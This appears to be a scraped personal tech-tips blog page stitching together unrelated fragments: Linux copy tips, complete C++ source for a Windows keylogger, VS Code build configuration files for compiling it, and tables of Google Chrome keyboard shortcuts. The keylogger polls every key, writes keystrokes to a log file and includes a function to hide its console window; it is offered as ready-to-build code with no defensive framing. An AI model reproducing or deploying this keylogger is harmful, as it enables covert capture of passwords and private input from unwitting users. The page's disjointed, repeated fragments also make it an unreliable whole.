Linux
COPY
To copy you may have different scenarios
- Mode 1
- In graphical applications you may use Ctrl + C
- In terminal you may use Ctr + Shift + C
- Right click menu Copy
- Mode 2
- In any application you can just select a text
Este é um blog onde anoto dicas técnicas de informática e computação. This is a blog where I write down technical tips on computing. Be aware that some resources used in this blog may use cookies to collect information used by Ads and Google Analytics. I do not monetize from this website, neither require or use personal information.
Linux
COPY
To copy you may have different scenarios
#include <iostream>
#include <windows.h>
#include <winuser.h>
#pragma comment(lib,"user32.lib") //Use this line to get compiled on Visual Studio Code quick
using namespace std;
int Record (int key_stroke, char *file);
void Hide();
int main() {
// Hide();
char i;
while (1) {
for(i = 8; i <= 190; i++) {
if (GetAsyncKeyState(i) == -32767)
Record(i, "keys.log");
}
}
system("pause");
return 0;
}
int Record (int key_stroke, char *file) {
if ((key_stroke == 1) || (key_stroke == 2))
return 0;
FILE * OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 13) fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32) fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == 190 || key_stroke == 110) fprintf(OUTPUT_FILE, "%s", ".");
else if (key_stroke == 8) fprintf(OUTPUT_FILE, "%s", "BACKSPACE");
else if (key_stroke == VK_TAB) fprintf(OUTPUT_FILE, "%s", "TAB");
else if (key_stroke == VK_SHIFT) fprintf(OUTPUT_FILE, "%s", "SHIFT");
else if (key_stroke == VK_CONTROL) fprintf(OUTPUT_FILE, "%s", "CTRL");
else if (key_stroke == VK_ESCAPE) fprintf(OUTPUT_FILE, "%s", "ESC");
else if (key_stroke == VK_END) fprintf(OUTPUT_FILE, "%s", "END");
else if (key_stroke == VK_HOME) fprintf(OUTPUT_FILE, "%s", "HOME");
else if (key_stroke == VK_LEFT) fprintf(OUTPUT_FILE, "%s", "LEFT");
else if (key_stroke == VK_UP) fprintf(OUTPUT_FILE, "%s", "UP");
else if (key_stroke == VK_RIGHT) fprintf(OUTPUT_FILE, "%s", "RIGHT");
else if (key_stroke == VK_DOWN) fprintf(OUTPUT_FILE, "%s", "DOWN");
else fprintf (OUTPUT_FILE, "%s", &key_stroke);
fclose(OUTPUT_FILE);
return 0;
}
void Hide() {
HWND HiddenWindow;
AllocConsole();
HiddenWindow = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(HiddenWindow, 0);
}
task.json
{
"version": "2.0.0",
"tasks": [
{
"type": "shell",
"label": "cl.exe build active file",
"command": "cl.exe",
"args": [
"/Zi",
"/EHsc",
"/Fe:",
"${fileDirname}\\${fileBasenameNoExtension}.exe",
"${file}"
],
"problemMatcher": [
"$msCompile"
],
"group": "build"
},
{
"type": "cppbuild",
"label": "C/C++: cl.exe build active file",
"command": "cl.exe",
"args": [
"/Zi",
"/EHsc",
"/nologo",
"/Fe:",
"${fileDirname}\\${fileBasenameNoExtension}.exe",
"${file}"
],
"options": {
"cwd": "${workspaceFolder}"
},
"problemMatcher": [
"$msCompile"
],
"group": {
"kind": "build",
"isDefault": true
},
"detail": "Task generated by Debugger."
}
]
}
create launch.json
{
"version": "0.2.0",
"configurations": [
{
"name": "cl.exe build and debug active file",
"type": "cppvsdbg",
"request": "launch",
"program": "${fileDirname}\\${fileBasenameNoExtension}.exe",
"args": [],
"stopAtEntry": false,
"cwd": "${workspaceFolder}",
"environment": [],
"externalConsole": false,
"preLaunchTask": "cl.exe build active file"
}
]
}
Action/Function | Shortcut |
Open a new window | Ctrl + N |
Open a new windows in incognito mode | Ctrl + Shift + N |
Open link in a new tab | Ctrl + Click on link |
Open link in new window | Shift + Click on link |
Close current window | Alt + F4 |
Open a new tab | Ctrl + T |
Reopen the last tab you have closed1 | Ctrl + Shift + T |
Switch to the tab at the specified position | Ctrl + 1 through Ctrl + 8 |
Switch to the last tab | Ctrl + 9 |
Switch to the next tab | Ctrl + Tab or Ctrl + PgDown |
Switch to the previous tab | Ctrl + Shift + Tab or Ctrl + PgUp |
Go to the previous page in your browsing history for the tab | Backspace, or press Alt + Left Arrow |
Go to the next page in your browsing history for the tab | Shift + Backspace, or press Alt + Right Arrow |
Close current tab or pop-up | Ctrl + W or Ctrl + F4 |
Open your homepage | Alt + Home |
Open a file from your computer in Google Chrome | Ctrl + O, then select file |
Action/Function | Shortcut |
Add (www.) and (.com) to your input in the address bar and open the web address | Type the part of the web address that is between (www.) and (.com), then press Ctrl + Enter |
Highlight content in the web address area | F6 or Ctrl + L or Alt + D |
Open your web address in a new tab | Type a web address, then press Alt + Enter |
Places a (?) in the address bar. Type a search term after the (?) to perform a search using your default search engine. | Ctrl + K or Ctrl + E |
Jump to the previous word in the address bar | Place your cursor in the address bar, the press Ctrl + Left Arrow |
Jump to the next word in the address bar | Place your cursor in the address bar, then press Ctrl + Right Arrow |
Delete the previous word in the address bar | Place your cursor in the address bar, then press Ctrl + Backspace |
Action/Function | Shortcut |
Toggle bookmarks bar on and off | Ctrl + B |
View the History page | Ctrl + H |
View the Downloads page | Ctrl + J |
View the Task Manager | Shift + Esc |
Action/Function | Shortcut |
Print your current page | Ctrl + P |
Reload current page | F5 |
Stop page loading | Esc |
Reload current page, ignoring cached content | Ctrl + F5 or Shift + F5 |
Scroll down the web page | Space bar |
Go to the top of the page | Home |
Go to the bottom of the page | End |
Download link | Press Alt, then click the link |
Open find-in-page box | Ctrl + F |
Find next match for your input in the find-in-page box | Ctrl + G or F3 |
Find previous match for your input in the find-in-page box | Ctrl + Shift + G or Shift + F3 |
View source | Ctrl + U |
Bookmark your current webpage | Ctrl + D |
Make text larger | Ctrl + + |
Make text smaller | Ctrl + - |
Return to normal text size | Ctrl + 0 |